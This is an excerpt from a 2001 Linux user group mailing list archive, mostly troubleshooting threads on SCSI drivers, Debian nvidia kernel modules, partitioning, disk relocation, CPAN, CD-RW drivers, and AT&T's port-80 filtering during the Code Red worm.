yeah... your customers, some of whom have secondary hotmail accounts or correspond with people who do. Unlike smail mail, where the person sending the mail is free to determine what class of delivery each piece should get, E-mail basically doesn't have any class structure... or at least, one that works ("Precedence:" headers clearly don't work as intended). Snail mail requires the sender to pay for the delivery. E-mail does not. If anything, the recipient of E-mail is the one having to pay, if only for storage before deletion and the time consuming act of deletion itself. In the end, until some sort of cost structure borne by the sender is introduced for E-mail -- and I'm not necessarily talking just money here, E-mail systems will remain fertile ground for any number of spammers. So, instead of just dumping E-mail from hotmail.com into the bit bucket, why not change the paradigm a tad? 1- Identify a list of E-mail hosts sending you spam. 2- Refuse to accept delivery for every E-mail from your list of "bad hosts" for 24-48 hours (i.e.: the sender's /var/log/mailog will fill up with messages like "stat=Deferred: Connection refused by ", while at the same time, their outgoing mail spool files fill up, too ;-). Once you accept the E-mail for delivery, run it through a filter that tags it with a header line like: X-spam-proofer: Delivered by as second class E-mail Note that _all_ E-mail ends up being delivered... However some E-mail gets delivered faster than others. And gosh, who knows? In order to save disk space, some spammers might even cleanse their outgoing spool files occasionally for messages that can't be delivered quickly... thereby preventing that spam from ever hitting your site. On the customer education side, explain what the "X-spam-proofer:" header line means, and let your customers decide rather or not to dump any give E-mail. Heck, you could probably generate some extra revenue by making this whole thing a fee-based optional service. From bradyh at bitstream.net Sat Aug 18 17:40:30 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 Message-ID: <998174431.1983.71.camel@localhost.localdomain> I'm trying to install Redhat 7.1 on an older Dell with a scsi cdrom and an adaptec aha-1510 controller. I've tried selecting the aha-152x driver (which I've read should work) but it just says it failed to load. After a search on the web I found some info that said that I might have to enter parameters for the drive, like irq and address...but I can't figure out what these are or how to get them. Thanks, Brady From jasonj at innominatus.com Sat Aug 18 19:46:07 2001 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Debian kernel image and nvidia kernel driver Message-ID: <3B7F0C4F.23F8C8AA@innominatus.com> Anyone using a stock deban kernel image and using the nvidia-kernel deb package? It looks like the nvidia-kernel deb package only works if you compiled your kernel yourself. i pointed /usr/src/linux to /usr/src/kernel-headers-2.4.8-686-smp but the make-kpkg modules_image complains. Which I can understand as there is only the headers for the kernel there. I installed the kernel-source for 2.4.8, but the .config file is not for the running 2.4.8 kernel image from debian and make-kpkg modules_image pulls in the .config file. I wish the kernel image included the .config. I would like to do this the debian way, and not for source for once. I have done the whole thing from source many times, but I want to try it with pure debian packages this time. From rob at tatsumaki.org Sat Aug 18 19:10:05 2001 From: rob at tatsumaki.org (Rob Bajorek) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 In-Reply-To: <998174431.1983.71.camel@localhost.localdomain>; from bradyh@bitstream.net on Sat, Aug 18, 2001 at 05:40:30PM -0500 References: <998174431.1983.71.camel@localhost.localdomain> Message-ID: <20010818191005.A8418@madoka.tatsumaki.org> Thus spake Brady Hegberg (bradyh@bitstream.net): > I'm trying to install Redhat 7.1 on an older Dell with a scsi cdrom and > an adaptec aha-1510 controller. I've tried selecting the aha-152x > driver (which I've read should work) but it just says it failed to load. > After a search on the web I found some info that said that I might have > to enter parameters for the drive, like irq and address...but I can't > figure out what these are or how to get them. > According to the manuals, the defaults are IRQ 11 and IO address 340h. The other possibilities are IRQ's 9, 10, and 12 and IO address 140h. If you want to see how to set/read the jumpers, the manuals are here: http://www.adaptec.com/worldwide/support/suppbyproduct.html?cat=/Technology/SCSI+Host+Adapters&fromPage=supportindex Rob From houle at citilink.com Sat Aug 18 20:06:32 2001 From: houle at citilink.com (Terry Houle) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Partition for Linux Message-ID: If I partition my laptop HD for a Linux partition I am wondering if that should be a primary or locical partition? I want to have a dual boot with Win ME. Terry Houle houle@citilink.com http://www.citilink.com/~houle From lxy at cloudnet.com Sat Aug 18 20:48:39 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Partition for Linux In-Reply-To: Message-ID: On Sat, 18 Aug 2001, Terry Houle wrote: > If I partition my laptop HD for a Linux partition I am wondering if that > should be a primary or locical partition? I want to have a dual boot with > Win ME. I personally prefer to make all my partitions primary. The reason being (yes, I know it's dumb) is that in DOS fdisk, if you make 3 primary partitions they show up as Non-DOS and you can delete them if you must. If you make a logical, you end up in the bind with fdisk that a logical parition exists, no drives are defined, buit there's something there so fdisk can't dump it. If you plan on carving up your drive big time, logical partitions are just fine. I'm starting to use them more now that I use more than 3 partitions for linux. -Brian From jpschewe at mtu.net Sat Aug 18 22:03:54 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: References: <200108160404.XAA20116@zjod.net> Message-ID: Well I wrote AT&T "tech support" last night. I've actually gotten a couple of messages back. First one is the standard, reinstall TCP drivers. Wrote back that won't make a difference, I can connecto to SOME sites. So they ask for traceroutes to the sites, I don't think this will help, but it at least shows a little more knowledge. So I send them along. I get back, we're filtering access to port 80, that's why it's not working. Man are some people just stupid or what? -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From nate at techie.com Sat Aug 18 22:28:06 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: ; from jpschewe@mtu.net on Sat, Aug 18, 2001 at 10:03:54PM -0500 References: <200108160404.XAA20116@zjod.net> Message-ID: <20010818222806.B1636@candle.mn.mediaone.net> On Sat, Aug 18, 2001 at 10:03:54PM -0500, Jon Schewe wrote: > So I send them along. I get back, we're filtering access to port 80, > that's why it's not working. Man are some people just stupid or what? When I chatted with a competent tech support agent a few weeks back, he told me he complained all the time to management that communications between the support agents and the network techs was aweful. There were long delays while he was searching for information to confirm that they were blocking port 80 to fight off Code Red. I checked their jobs page and was disappointed they weren't looking for competent techs. Nate From jts at tc.umn.edu Sun Aug 19 03:15:06 2001 From: jts at tc.umn.edu (Joel T Schneider) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <200108151556.f7FFu2e04593@sprite.real-time.com> Message-ID: If the problem is Java related, the following information might be relevant. Not sure if it applies to your particular flavor of RH 7.0, though. RedHat 7.1 has some known issues with Java. For this reason, many Java software packages do not yet support RedHat 7.1. However, the NetBeans 3.2 README.html file contains some potentially helpful information about running Java on RedHat 7.1: RedHat 7.1 contains updated versions of glibc and libpthread libraries tailored to a specific processor type. Those libraries cause java VMs from Sun and IBM (and maybe others) to hang up or crash. You can do one of the following: 1. Edit the wrapper script that launches java VM. It's named $jdk_home/bin/java - or simply type pico `which java` Add a statement export LD_ASSUME_KERNEL=2.2.5 at the beginning of the script (after the leading comments) 2. Edit $netbeans_root/bin/runide.sh and add the above statement at the beginning of the script The above seems to work. It probably also applies to Mandrake 8. Joel On Aug 14, 2001 Bob Tanner wrote: > Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard > under RedHat 7.0. > > Anyone else seen this before or a solution to the problem? From jasonj at talkware.net Sun Aug 19 03:45:57 2001 From: jasonj at talkware.net (Jason Jorgensen) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Debian kernel image and nvidia kernel driver References: <3B7F0C4F.23F8C8AA@innominatus.com> Message-ID: <3B7F7CC5.9030404@talkware.net> I figured it out. To install nvidia-kernel with out having to recompile anything you need the kernel-source deb for your running kernel symlink it to /usr/src/linux copy /boot/config- to /usr/src/linux/.config cd /usr/src tar zxvf the nvidia-kernel-src tar.gz cd /usr/src/linux make-kpkg modules_image cd .. dpkg -i nvidia-kernel-.deb Debian package maintainers are nice people. :) Jason J wrote: >Anyone using a stock deban kernel image and using the nvidia-kernel deb >package? > >It looks like the nvidia-kernel deb package only works if you compiled >your kernel yourself. > >i pointed /usr/src/linux to /usr/src/kernel-headers-2.4.8-686-smp but >the make-kpkg modules_image complains. Which I can understand as there >is only the headers for the kernel there. I installed the kernel-source >for 2.4.8, but the .config file is not for the running 2.4.8 kernel >image from debian and make-kpkg modules_image pulls in the .config file. >I wish the kernel image included the .config. > >I would like to do this the debian way, and not for source for once. I >have done the whole thing from source many times, but I want to try it >with pure debian packages this time. > > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sgunhouse at qwest.net Sun Aug 19 07:42:10 2001 From: sgunhouse at qwest.net (Steven Gunhouse) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Hard Disk Move Message-ID: Newbie Question I added a burner to my box that wanted to be secondary master bumping my Linux partitions to secondary slave. Of course Linux won't boot now and even in repair mode I am having troubles, even vi has unfulfilled dependencies and can't start. Short of a complete reinstall, any way to convince the installation it is now on HDD instead of HDC. Would editing the fstab and lilo.conf files solve the problem or am I just wasting my time because of other hard coded configuration pointers in other files. A curious (but empty) mind wants to know. From jpschewe at mtu.net Sun Aug 19 08:07:48 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <20010818222806.B1636@candle.mn.mediaone.net> References: <200108160404.XAA20116@zjod.net> <20010818222806.B1636@candle.mn.mediaone.net> Message-ID: Nate Straz writes: > On Sat, Aug 18, 2001 at 10:03:54PM -0500, Jon Schewe wrote: > > So I send them along. I get back, we're filtering access to port 80, > > that's why it's not working. Man are some people just stupid or what? > > When I chatted with a competent tech support agent a few weeks back, he > told me he complained all the time to management that communications > between the support agents and the network techs was aweful. There were > long delays while he was searching for information to confirm that they > were blocking port 80 to fight off Code Red. I checked their jobs page > and was disappointed they weren't looking for competent techs. Does anyone know how I can get to a competent tech at AT&T? At this point I'm going to show up at his house and take him to mine to show him the problem. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From nate at techie.com Sun Aug 19 09:10:05 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: ; from jpschewe@mtu.net on Sun, Aug 19, 2001 at 08:07:48AM -0500 References: <200108160404.XAA20116@zjod.net> <20010818222806.B1636@candle.mn.mediaone.net> Message-ID: <20010819091005.C1636@candle.mn.mediaone.net> On Sun, Aug 19, 2001 at 08:07:48AM -0500, Jon Schewe wrote: > Does anyone know how I can get to a competent tech at AT&T? At this point I'm > going to show up at his house and take him to mine to show him the problem. It's all luck of the draw. If you're not getting anywhere with the tech support agents, you might ask them to have a tech call you. They can put the request in, but they can't promise that it will happen. Nate From hick0088 at tc.umn.edu Sun Aug 19 10:10:59 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] Hard Disk Move In-Reply-To: References: Message-ID: <20010819101059.07755623.hick0088@tc.umn.edu> "Steven Gunhouse" wrote: > > Short of a complete reinstall, any way to convince the > installation it is now on HDD instead of HDC. > > Would editing the fstab and lilo.conf files solve the problem > or am I just wasting my time because of other hard coded configuration > pointers in other files. That's basically it. Edit /etc/fstab and then run /sbin/lilo after editing lilo.conf. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Right now I'm having / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ amnesia and deja vu at \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) the same time. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010819/a3ce76ca/attachment.pgp From dieman+tclug at ringworld.org Sun Aug 19 14:50:38 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <20010819091005.C1636@candle.mn.mediaone.net> References: <200108160404.XAA20116@zjod.net> <20010818222806.B1636@candle.mn.mediaone.net> <20010819091005.C1636@candle.mn.mediaone.net> Message-ID: <20010819145038.E9092@ringworld.org> * Nate Straz [010819 09:12]: > It's all luck of the draw. If you're not getting anywhere with the tech > support agents, you might ask them to have a tech call you. They can > put the request in, but they can't promise that it will happen. Yeah, sometimes your lucky and get a real tech. TW/RR seems to have much better 2nd level support last time i tried. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From eng at pinenet.com Sun Aug 19 16:06:03 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:36 2005 Subject: Re [TCLUG] AT&T filtering sites@3.sdm In-Reply-To: References: <200108160404.XAA20116@zjod.net> Message-ID: <20010819.21060300@linwin.mshome.net> Please be more clear. Did AT&T say to you (in essence), "We're filtering access to port 80, that's why its not working??" (FYI I am NOT a lawyer.) >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/18/01, 10:03:54 PM, Jon Schewe wrote regarding Re [TCLUG] AT&T filtering sites@3.sdm: > Well I wrote AT&T "tech support" last night. I've actually gotten a couple of > messages back. First one is the standard, reinstall TCP drivers. Wrote back > that won't make a difference, I can connecto to SOME sites. So they ask for > traceroutes to the sites, I don't think this will help, but it at least shows > a little more knowledge. So I send them along. I get back, we're filtering > access to port 80, that's why it's not working. Man are some people just > stupid or what? > -- > Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From drichards at maxim-ic.com Sun Aug 19 16:13:59 2001 From: drichards at maxim-ic.com (Dave Richards) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] cbos 2.4. Message-ID: <3B802C17.FAAC9AE9@maxim-ic.com> hi, i saw your post on the annoyance of trying to find a cisco software update for the cbos "About a week ago I noticed that CBOS 2.4.2 was out. I e-mailed tac@cisco.com and they told me to download it from QWORST!!! I couldn't believe it! What company writes an OS and then only distributes it through 3rd parties? Anyway, you need a Qworst.net account to download it and I don't have one of those (nor do I want one). If anyone here has a qowrst.net account you can download CBOS 2.4.2 at:" I spent like an hour on the phone with those jokers to get mine updated too... here's the link in case you're still interested http://www.qwest.com/dsl/customerservice/csco675ups.html -- =============================================== Dave Richards Sysop, Web developer Maxim Integrated Products, Sunnyvale CA drichards@maxim-ic.com =============================================== From jpschewe at mtu.net Sun Aug 19 18:48:05 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:37 2005 Subject: Re [TCLUG] AT&T filtering sites@3.sdm In-Reply-To: <20010819.21060300@linwin.mshome.net> References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> Message-ID: Yes, that's what they said, clearly not understanding the problem. Here's the quote --start quote-- Thank you for writing AT&T BroadBand Cable Internet Services regarding the Internet service and Port 80. I apologize for any inconvenience which you have experienced with our filter on Port 80. NOTE: We do not block your access to sites such as www.yahoo.com or any others. It has been confirmed that a block will remain in effect (for reasons related to the Code Red worm) until AT&T BroadBand feels it is safe to remove it. This has been done to protect the network and we have no way of removing it or getting it removed, at this point in time. Please refer to the following section of the Terms and Conditions which are applicable to this issue: Section 10.9 You agree that AT&T and ServiceCo shall each have the right to take any action that either AT&T or ServiceCo deems appropriate to protect the Road Runner Service, its facilities and equipment. --end quote-- This shows they're filtering inbound traffic, but (supposedly) not outbound traffic. After this message I sent back a clear example where I explain telnetting to port 80 to check the connection. After that I got back a message that they're looking into the matter, which is probably the best response I've gotten out of them all weekend. Now we'll see if they really are looking into it. Rick Engebretson writes: > Please be more clear. Did AT&T say to you (in essence), "We're filtering > access to port 80, that's why its not working??" (FYI I am NOT a lawyer.) > > >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > On 8/18/01, 10:03:54 PM, Jon Schewe wrote regarding Re > [TCLUG] AT&T filtering sites@3.sdm: > > > > Well I wrote AT&T "tech support" last night. I've actually gotten a > couple of > > messages back. First one is the standard, reinstall TCP drivers. Wrote > back > > that won't make a difference, I can connecto to SOME sites. So they ask > for > > traceroutes to the sites, I don't think this will help, but it at least > shows > > a little more knowledge. So I send them along. I get back, we're > filtering > > access to port 80, that's why it's not working. Man are some people just > > stupid or what? > > > -- > > Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net > > For I am convinced that neither death nor life, neither angels > > nor demons, neither the present nor the future, nor any > > powers, neither height nor depth, nor anything else in all > > creation, will be able to separate us from the love of God that > > is in Christ Jesus our Lord. - Romans 8:38-39 > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From tanner at real-time.com Mon Aug 20 02:17:53 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] perl -MCPAN -e shell does too much? Message-ID: <20010820021753.M27443@real-time.com> I just want to grab Apache::CodeRed, but perl -MCPAN -e shell always seems to want to grab perl-5.6.1 (I'm running 5.6.0). Is there a way I can just get the Apache::CodeRed module without upgrading to perl-5.6.1? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From eng at pinenet.com Mon Aug 20 06:02:46 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:37 2005 Subject: Re Re [TCLUG] AT&T filtering sites@3.sdm.sdm In-Reply-To: References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> Message-ID: <20010820.11024600@linwin.mshome.net> You are way over my head, technically. But this group (TCLUG) is full of experts. But I do know ATT is not stupid. They have given you their defense for what you have discovered. And you have discovered they filter internet access; for whatever reason, to whatever degree. My hat's off to you. A recent posting discussed the possibility that M$ was allowing viruses and worms in their OS. This, in order to justify trying to supplant TCP/IP with a proprietary internet system. Such might be the case here. A little cynicism is very healthy. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/19/01, 6:48:05 PM, Jon Schewe wrote regarding Re Re [TCLUG] AT&T filtering sites@3.sdm.sdm: > Yes, that's what they said, clearly not understanding the problem. Here's the > quote > --start quote-- > Thank you for writing AT&T BroadBand Cable Internet Services regarding > the Internet service and Port 80. I apologize for any inconvenience > which you have experienced with our filter on Port 80. > NOTE: We do not block your access to sites such as www.yahoo.com or any > others. > It has been confirmed that a block will remain in effect (for reasons > related to the Code Red worm) until AT&T BroadBand feels it is safe to > remove it. This has been done to protect the network and we have no way > of removing it or getting it removed, at this point in time. > Please refer to the following section of the Terms and Conditions which > are applicable to this issue: > Section 10.9 You agree that AT&T and ServiceCo shall each have the right > to take any action that either AT&T or ServiceCo deems appropriate to > protect the Road Runner Service, its facilities and equipment. > --end quote-- > This shows they're filtering inbound traffic, but (supposedly) not outbound > traffic. > After this message I sent back a clear example where I explain telnetting to > port 80 to check the connection. After that I got back a message that they're > looking into the matter, which is probably the best response I've gotten out > of them all weekend. Now we'll see if they really are looking into it. > Rick Engebretson writes: > > Please be more clear. Did AT&T say to you (in essence), "We're filtering > > access to port 80, that's why its not working??" (FYI I am NOT a lawyer.) > > > > >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > > > On 8/18/01, 10:03:54 PM, Jon Schewe wrote regarding Re > > [TCLUG] AT&T filtering sites@3.sdm: > > > > > > > Well I wrote AT&T "tech support" last night. I've actually gotten a > > couple of > > > messages back. First one is the standard, reinstall TCP drivers. Wrote > > back > > > that won't make a difference, I can connecto to SOME sites. So they ask > > for > > > traceroutes to the sites, I don't think this will help, but it at least > > shows > > > a little more knowledge. So I send them along. I get back, we're > > filtering > > > access to port 80, that's why it's not working. Man are some people just > > > stupid or what? > > > > > -- > > > Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net > > > For I am convinced that neither death nor life, neither angels > > > nor demons, neither the present nor the future, nor any > > > powers, neither height nor depth, nor anything else in all > > > creation, will be able to separate us from the love of God that > > > is in Christ Jesus our Lord. - Romans 8:38-39 > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- > Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From trammell at trammell.dyndns.org Mon Aug 20 12:34:47 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] perl -MCPAN -e shell does too much? In-Reply-To: <20010820021753.M27443@real-time.com>; from tanner@real-time.com on Mon, Aug 20, 2001 at 02:17:53AM -0500 References: <20010820021753.M27443@real-time.com> Message-ID: <20010820123447.A27624@trammell.dyndns.org> On Mon, Aug 20, 2001 at 02:17:53AM -0500, Bob Tanner wrote: > I just want to grab Apache::CodeRed, but perl -MCPAN -e shell always seems to > want to grab perl-5.6.1 (I'm running 5.6.0). > > Is there a way I can just get the Apache::CodeRed module without upgrading to > perl-5.6.1? Something like "o conf prerequisites_policy"... -- Steve Balmer, CEO of Microsoft, recently referred to LINUX as a cancer. Unsurprisingly, that's incorrect; LINUX was released on August 25th, 1991 and is therefore a virgo. From mpaulsen at charter.net Mon Aug 20 08:23:57 2001 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:26:37 2005 Subject: Re Re [TCLUG] AT&T filtering sites@3.sdm.sdm In-Reply-To: <20010820.11024600@linwin.mshome.net> References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> Message-ID: <5.0.0.25.2.20010820082019.028329b0@pop.charter.net> Recommended reading for cynics: http://www.zdnet.com/zdnn/stories/news/0,4586,2304739,00.html At 06:02 AM 8/20/01, Jon Schewe wrote: >You are way over my head, technically. But this group (TCLUG) is full of >experts. > >But I do know ATT is not stupid. They have given you their defense for >what you have discovered. And you have discovered they filter internet >access; for whatever reason, to whatever degree. My hat's off to you. > >A recent posting discussed the possibility that M$ was allowing viruses >and worms in their OS. This, in order to justify trying to supplant >TCP/IP with a proprietary internet system. Such might be the case here. A >little cynicism is very healthy. > > >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > >On 8/19/01, 6:48:05 PM, Jon Schewe wrote regarding Re Re >[TCLUG] AT&T filtering sites@3.sdm.sdm: > > > > Yes, that's what they said, clearly not understanding the problem. >Here's the > > quote > > --start quote-- > > Thank you for writing AT&T BroadBand Cable Internet Services regarding > > the Internet service and Port 80. I apologize for any inconvenience > > which you have experienced with our filter on Port 80. > > > NOTE: We do not block your access to sites such as www.yahoo.com or any > > others. > > > It has been confirmed that a block will remain in effect (for reasons > > related to the Code Red worm) until AT&T BroadBand feels it is safe to > > remove it. This has been done to protect the network and we have no way > > of removing it or getting it removed, at this point in time. > > > Please refer to the following section of the Terms and Conditions which > > are applicable to this issue: > > > Section 10.9 You agree that AT&T and ServiceCo shall each have the right > > to take any action that either AT&T or ServiceCo deems appropriate to > > protect the Road Runner Service, its facilities and equipment. > > --end quote-- > > > This shows they're filtering inbound traffic, but (supposedly) not >outbound > > traffic. > > > After this message I sent back a clear example where I explain telnetting >to > > port 80 to check the connection. After that I got back a message that >they're > > looking into the matter, which is probably the best response I've gotten >out > > of them all weekend. Now we'll see if they really are looking into it. > > > > Rick Engebretson writes: > > > > Please be more clear. Did AT&T say to you (in essence), "We're filtering > > > access to port 80, that's why its not working??" (FYI I am NOT a lawyer.) > > > > > > >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > > > > > On 8/18/01, 10:03:54 PM, Jon Schewe wrote regarding Re > > > [TCLUG] AT&T filtering sites@3.sdm: > > > > > > > > > > Well I wrote AT&T "tech support" last night. I've actually gotten a > > > couple of > > > > messages back. First one is the standard, reinstall TCP > drivers. Wrote > > > back > > > > that won't make a difference, I can connecto to SOME sites. So > they ask > > > for > > > > traceroutes to the sites, I don't think this will help, but it at least > > > shows > > > > a little more knowledge. So I send them along. I get back, we're > > > filtering > > > > access to port 80, that's why it's not working. Man are some > people just > > > > stupid or what? > > > From dieman+tclug at ringworld.org Mon Aug 20 07:43:51 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] cbos 2.4. In-Reply-To: <3B802C17.FAAC9AE9@maxim-ic.com> References: <3B802C17.FAAC9AE9@maxim-ic.com> Message-ID: <20010820074351.H9092@ringworld.org> * Dave Richards [010819 16:20]: > "About a week ago I noticed that CBOS 2.4.2 was out. I e-mailed > tac@cisco.com and they told me to download it from QWORST!!! I couldn't No, this is correct, you dont pay Cisco, you pay Qwest for support. Buying hardware does *not* buy support from Cisco. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From thomas at stderr.net Mon Aug 20 08:41:21 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] perl -MCPAN -e shell does too much? In-Reply-To: <20010820021753.M27443@real-time.com>; from tanner@real-time.com on Mon, Aug 20, 2001 at 02:17:53AM -0500 References: <20010820021753.M27443@real-time.com> Message-ID: <20010820154120.A2629@io.stderr.net> On Mon, Aug 20, 2001 at 02:17:53AM -0500, Bob Tanner wrote: > I just want to grab Apache::CodeRed, but perl -MCPAN -e shell always seems to > want to grab perl-5.6.1 (I'm running 5.6.0). > > Is there a way I can just get the Apache::CodeRed module without upgrading to > perl-5.6.1? Upgrading CPAN.pm first according to: -- Thomas Eibner DnsZone mod_pointer From thomas at stderr.net Mon Aug 20 08:44:34 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] perl -MCPAN -e shell does too much? In-Reply-To: <20010820021753.M27443@real-time.com>; from tanner@real-time.com on Mon, Aug 20, 2001 at 02:17:53AM -0500 References: <20010820021753.M27443@real-time.com> Message-ID: <20010820154434.B2629@io.stderr.net> On Mon, Aug 20, 2001 at 02:17:53AM -0500, Bob Tanner wrote: > I just want to grab Apache::CodeRed, but perl -MCPAN -e shell always seems to > want to grab perl-5.6.1 (I'm running 5.6.0). > > Is there a way I can just get the Apache::CodeRed module without upgrading to > perl-5.6.1? Sorry, full thread here: http://use.perl.org/article.pl?sid=01/07/19/2349232&mode=thread&threshold= -- Thomas Eibner DnsZone mod_pointer From eng at pinenet.com Mon Aug 20 09:07:55 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K Message-ID: <01C12957.9A12C720.eng@pinenet.com> I just went throught the same problem with the same Philips CDRW. The Win98 driver does not work. You need to upgrade to ME or some more recent CD driver. www.roxio.com also has an update for ez cd creator. For slower machines you need to eliminate all the programs running in the background. One way to do this is to press Control-Alt-Delete and end each task one at a time. Just keep explorer running. A write up of the issue is here; http://www.roxio.com/en/support/cdrwin/winbufu.html They also have a nice Win98 troubleshooting page (I copied it but don't have the URL) that describes running MSCONFIG. Now the CDRW works very nicely but I sure made a lot of coasters. But mostlyl, Win 98 did not have the drivers needed, where ME does. -----Original Message----- From: Troy.A Johnson [SMTP:troy.johnson@health.state.mn.us] Sent: Thursday, August 16, 2001 10:25 AM To: tclug-list@mn-linux.org Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K Greetings TCLUGers who don't mind reading about Win* problems, I imagine I would also have a problem under Linux, but I am really writing this because I am really frustrated with a problem I am having installling a CD-RW drive in my parent's computer. I suspect the computer as the problem, and not the drives, but I wanted to know if anyone has seen anything like this before, and possibly suggest a solution. The computer: ---------------------- EPOX MVP3xxx mainboard (VIA chipset) K6-2 300MHz processor 384MB PC100 SDRAM Fujisu 6GB HDD (primary master) Toshiba 24x CDROM (secondary master) The CD-RW drives I've tried: --------------------------------------------- Philips 8x4x32 (cheapo best buy) Teac 8x8x32 (gns) I have tried both drives as secondary slaves and the Teac drive as a primary slave. I will try the Teac drive as a secondary master (all by itself), but I don't have much hope for that to work any better. The problem (for both drives): --------------------------------------------- The drive is recognized by the BIOS, and Win98 installs a driver for 